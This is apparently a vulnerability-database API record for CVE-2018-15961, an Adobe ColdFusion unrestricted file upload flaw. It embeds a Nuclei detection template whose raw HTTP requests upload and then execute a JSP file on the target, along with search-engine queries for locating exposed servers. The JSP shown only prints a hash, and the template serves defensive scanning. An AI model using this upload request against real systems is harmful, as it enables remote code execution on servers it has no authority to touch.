{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2018-15961/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2018-15961/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2018-15961/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2018-15961/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2018-15961/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2018-15961"},"sightings":{"href":"/api/v1/sightings/cve-2018-15961"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.9995,"kev":true,"percentile":0.99973},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2018/CVE-2018-15961.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2018-15961\n\ninfo:\n  name: Adobe ColdFusion - Unrestricted File Upload Remote Code Execution\n  author: SkyLark-Lab,ImNightmaree\n  severity: critical\n  description: Adobe ColdFusion versions July 12 release (2018.0.0.310739), Update 6 and earlier, and Update 14 and earlier have an unrestricted file upload vulnerability. Successful exploitation could lead to arbitrary code execution.\n  impact: |\n    Successful exploitation of this vulnerability can result in remote code execution, allowing an attacker to take control of the affected system.\n  remediation: |\n    Apply the necessary security patches or updates provided by Adobe to fix this vulnerability.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-15961\n    - https://github.com/xbufu/CVE-2018-15961\n    - https://helpx.adobe.com/security/products/coldfusion/apsb18-33.html\n    - http://web.archive.org/web/20220309060906/http://www.securitytracker.com/id/1041621\n    - http://www.securitytracker.com/id/1041621\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2018-15961\n    cwe-id: CWE-434\n    epss-score: 0.9995\n    epss-percentile: 0.99972\n    cpe: cpe:2.3:a:adobe:coldfusion:11.0:-:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: adobe\n    product: coldfusion\n    shodan-query:\n      - http.component:\"Adobe ColdFusion\"\n      - http.component:\"adobe coldfusion\"\n      - http.title:\"coldfusion administrator login\"\n      - cpe:\"cpe:2.3:a:adobe:coldfusion\"\n    fofa-query:\n      - title=\"coldfusion administrator login\"\n      - app=\"adobe-coldfusion\"\n    google-query: intitle:\"coldfusion administrator login\"\n  tags: cve,cve2018,adobe,rce,coldfusion,fileupload,kev,intrusive,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=---------------------------24464570528145\n\n        -----------------------------24464570528145\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.jsp\"\n        Content-Type: image/jpeg\n\n        <%@ page import=\"java.util.*,java.io.*\"%>\n        <%@ page import=\"java.security.MessageDigest\"%>\n        <%\n        String cve = \"CVE-2018-15961\";\n        MessageDigest alg = MessageDigest.getInstance(\"MD5\");\n        alg.reset();\n        alg.update(cve.getBytes());\n        byte[] digest = alg.digest();\n        StringBuffer hashedpasswd = new StringBuffer();\n        String hx;\n        for (int i=0;i<digest.length;i++){\n          hx =  Integer.toHexString(0xFF & digest[i]);\n          if(hx.length() == 1){hx = \"0\" + hx;}\n          hashedpasswd.append(hx);\n        }\n        out.println(hashedpasswd.toString());\n        %>\n        -----------------------------24464570528145\n        Content-Disposition: form-data; name=\"path\"\n\n        {{randstr}}.jsp\n        -----------------------------24464570528145--\n      - |\n        GET /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/{{randstr}}.jsp HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"ddbb3e76f92e78c445c8ecb392beb225\" # MD5 of CVE-2018-15961\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100bc76b604400f5624141f18c998eb057db9dbabf0aeab13d7f338cd7b5b87f02f022100b54f3470b6b131a29164704f651020c653b37ac7cd348732642fa050837c5b98:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2018-15961"}